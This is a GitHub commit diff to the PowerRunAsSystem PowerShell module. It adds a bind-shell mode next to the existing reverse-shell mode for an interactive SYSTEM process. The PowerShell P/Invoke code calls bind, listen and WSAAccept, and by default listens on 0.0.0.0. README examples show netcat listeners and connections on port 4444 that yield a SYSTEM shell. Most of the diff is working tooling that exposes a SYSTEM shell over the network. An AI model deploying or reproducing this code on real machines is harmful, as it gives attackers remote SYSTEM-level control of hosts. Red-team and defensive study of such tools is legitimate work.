Skip to content

Commit 29d2088

Browse files
committed
Feat: Bind shell redirection added
1 parent f2408cf commit 29d2088

File tree

3 files changed

+129
-28
lines changed

3 files changed

+129
-28
lines changed
0 Bytes
Binary file not shown.

PowerRunAsSystem/PowerRunAsSystem.psm1

Lines changed: 102 additions & 19 deletions
Original file line numberDiff line numberDiff line change
@@ -251,6 +251,30 @@ $InvokeInteractiveProcess_ScriptBlock = {
251251
IntPtr lpGQOS
252252
);
253253
254+
[DllImport("ws2_32.dll", SetLastError = true)]
255+
[return: MarshalAs(UnmanagedType.I4)]
256+
public static extern int bind(
257+
IntPtr s,
258+
IntPtr name,
259+
int namelen
260+
);
261+
262+
[DllImport("ws2_32.dll", SetLastError = true)]
263+
[return: MarshalAs(UnmanagedType.I4)]
264+
public static extern int listen(
265+
IntPtr s,
266+
int backlog
267+
);
268+
269+
[DllImport("ws2_32.dll", SetLastError = true)]
270+
public static extern IntPtr WSAAccept(
271+
IntPtr s,
272+
IntPtr addr,
273+
IntPtr addrlen,
274+
IntPtr lpfnCondition,
275+
IntPtr dwCallbackData
276+
);
277+
254278
[DllImport("ws2_32.dll", SetLastError = true)]
255279
[return: MarshalAs(UnmanagedType.I4)]
256280
public static extern int closesocket(IntPtr s);
@@ -365,11 +389,16 @@ $InvokeInteractiveProcess_ScriptBlock = {
365389

366390
[Parameter(Mandatory=$True)]
367391
[ValidateRange(1, 65535)]
368-
[int] $Port
392+
[int] $Port,
393+
394+
[Parameter(Mandatory=$True)]
395+
[ValidateSet("Reverse", "Bind")]
396+
[string] $Mode
369397
)
370398

399+
$SOCKET_ERROR = -1
371400
$sockAddrPtr = [IntPtr]::Zero
372-
$socket = -1
401+
$socket = $SOCKET_ERROR
373402
try
374403
{
375404
$socket = New-NativeSocket
@@ -388,25 +417,64 @@ $InvokeInteractiveProcess_ScriptBlock = {
388417
[System.Runtime.InteropServices.Marshal]::WriteByte($sockAddrPtr, $i, $sockAddr[$i])
389418
}
390419

391-
$result = [WS232]::WSAConnect(
392-
$socket,
393-
$sockAddrPtr,
394-
$sockAddr.Size,
395-
[IntPtr]::Zero,
396-
[IntPtr]::Zero,
397-
[IntPtr]::Zero,
398-
[IntPtr]::Zero
399-
)
400-
if ($result -eq -1)
420+
Switch ($RedirectKind)
401421
{
402-
throw [WinAPIException]::New("WSAConnect")
422+
# Reverse Shell: Remote listener must be started before executing this command.
423+
"Reverse" {
424+
$result = [WS232]::WSAConnect(
425+
$socket,
426+
$sockAddrPtr,
427+
$sockAddr.Size,
428+
[IntPtr]::Zero,
429+
[IntPtr]::Zero,
430+
[IntPtr]::Zero,
431+
[IntPtr]::Zero
432+
)
433+
if ($result -eq $SOCKET_ERROR)
434+
{
435+
throw [WinAPIException]::New("WSAConnect")
436+
}
437+
}
438+
439+
# Bind Shell: This will start a listener and wait for a single connection to occur. Notice that
440+
# this method will block the execution until a connection is established.
441+
"Bind" {
442+
$result = [WS232]::bind(
443+
$socket,
444+
$sockAddrPtr,
445+
$sockAddr.Size
446+
)
447+
448+
if ($result -eq $SOCKET_ERROR)
449+
{
450+
throw [WinAPIException]::New("bind")
451+
}
452+
453+
$result = [WS232]::listen(
454+
$socket,
455+
1 # Maximum number of pending connections (We only need one)
456+
)
457+
458+
if ($result -eq $SOCKET_ERROR)
459+
{
460+
throw [WinAPIException]::New("listen")
461+
}
462+
463+
$socket = [WS232]::WSAAccept(
464+
$socket,
465+
[IntPtr]::Zero,
466+
[IntPtr]::Zero,
467+
[IntPtr]::Zero,
468+
[IntPtr]::Zero
469+
)
470+
}
403471
}
404472
}
405473
catch
406474
{
407475
Close-NativeSocket -Socket $socket
408476

409-
$socket = -1
477+
$socket = $SOCKET_ERROR
410478
}
411479
finally
412480
{
@@ -425,10 +493,10 @@ $InvokeInteractiveProcess_ScriptBlock = {
425493
[string] $CommandLine = "powershell.exe",
426494
[switch] $Hide,
427495

428-
[ValidateSet("None", "Reverse")]
496+
[ValidateSet("None", "Reverse", "Bind")]
429497
[string] $RedirectKind = "None",
430498

431-
[string] $Address = "127.0.0.1",
499+
[string] $Address = "",
432500

433501
[ValidateRange(1, 65535)]
434502
[int] $Port = 2801
@@ -440,11 +508,26 @@ $InvokeInteractiveProcess_ScriptBlock = {
440508
}
441509

442510
$redirectFd = $false
443-
if ($RedirectKind -eq "Reverse")
511+
if ($RedirectKind -ne "None")
444512
{
513+
# Initialize Default Address (Depending on the context)
514+
if ($Address -eq "")
515+
{
516+
Switch ($RedirectKind)
517+
{
518+
"Reverse" {
519+
$Address = "127.0.0.1"
520+
}
521+
522+
"Bind" {
523+
$Address = "0.0.0.0"
524+
}
525+
}
526+
}
527+
445528
Initialize-NativeSocket
446529

447-
$socket = Connect-NativeSocket -Address $Address -Port $Port
530+
$socket = Connect-NativeSocket -Address $Address -Port $Port -Mode $RedirectKind
448531

449532
$redirectFd = $true
450533
}
@@ -932,7 +1015,7 @@ function Invoke-InteractiveSystemProcess
9321015
[string] $CommandLine = "powershell.exe",
9331016
[switch] $Hide,
9341017

935-
[ValidateSet("None", "Reverse")]
1018+
[ValidateSet("None", "Reverse", "Bind")]
9361019
[string] $RedirectKind = "None",
9371020

9381021
# Depending on the RedirectKind, the following parameter is whether the address of remote server

README.md

Lines changed: 27 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -59,25 +59,41 @@ This can be particularly useful in scenarios where an interactive SYSTEM process
5959

6060
#### ⚙️ Available Arguments
6161

62-
| Parameter | Type | Default | Description |
63-
|-------------------------|------------------|------------------------------------------------|----------------------------------|
64-
| CommandLine | String | powershell.exe | The complete command line to execute. |
65-
| Hide | Switch | None | If present, the process is not visible. |
62+
| Parameter | Type | Default | Description |
63+
|-------------------------|------------------|------------------------------------------------|------------------------------------------------------------------------------------------------|
64+
| CommandLine | String | powershell.exe | The complete command line to execute. |
65+
| Hide | Switch | None | If present, the process is not visible. |
6666
| RedirectKind | Choice | None | If the process input/output needs to be redirected to an external source (as discussed below)… |
67-
| Address | String | None | Used if the **RedirectKind** is set (as described below). |
68-
| Port | Int (R: 0-65535) | None | Used if the **RedirectKind** is set (as described below). |
67+
| Address | String | None | Used if the **RedirectKind** is set (as described below). |
68+
| Port | Int (R: 0-65535) | None | Used if the **RedirectKind** is set (as described below). |
6969

7070
#### Advanced Usage : RedirectKind Flag
7171

7272
##### `None` (Default)
7373

7474
No specific redirection is used; the process is spawned normally. To interact with the process, you must do so through the desktop.
7575

76-
##### `Reverse`
76+
If RedirectKind Flag is specified, the `stdout`, `stderr`, and `stdin` of the process are redirected to a network socket. This setup enables interaction with the spawned process without requiring access to the desktop, which is particularly useful when the process is initiated from an SSH or WinRM session.
77+
78+
#### `Bind`
79+
80+
Spawn your interactive SYSTEM process:
81+
82+
````powershell
83+
Invoke-InteractiveSystemProcess -RedirectKind "Bind" -Address "0.0.0.0" -Port 4444
84+
````
7785

78-
The `stdout`, `stderr`, and `stdin` of the process are redirected to a network socket in reverse mode (client -> server). This setup enables interaction with the spawned process without requiring access to the desktop, which is particularly useful when the process is initiated from an SSH or WinRM session.
86+
In the context of a bind shell, the address specifies the network interface to bind to. Using `0.0.0.0` means the shell will listen on all available network interfaces, while `127.0.0.1` restricts it to the loopback interface, making it accessible only from the local machine.
7987

80-
Example:
88+
Then, with netcat, connect to listener:
89+
90+
`````bash
91+
nc 127.0.0.1 4444
92+
`````
93+
94+
In the context of a bind shell, it is important to note that the temporary SYSTEM process acting as the **launcher** will remain in a hanging state until a client connects to the listener. Only one client can connect to the listener, only once. Once connected, an interactive SYSTEM process will be established. When the session/process, both the client and listener will be released, marking the termination of the **launcher**.
95+
96+
##### `Reverse`
8197

8298
Create a new Netcat listener (adapt the command according to your operating system and version of Netcat):
8399
````bash
@@ -90,6 +106,8 @@ Then, spawn your interactive SYSTEM process:
90106
Invoke-InteractiveSystemProcess -RedirectKind "Reverse" -Address "127.0.0.1" -Port 4444
91107
````
92108

109+
In the context of a reverse shell, it is important to note that a listener must be started before executing the reverse shell command. If the listener is not active, the attempt to spawn an interactive SYSTEM process will fail.
110+
93111
Enjoy your SYSTEM shell 🐚
94112

95113
![Reverse Interactive SYSTEM Shell](images/ReverseInteractive.png)

0 commit comments

Comments
 (0)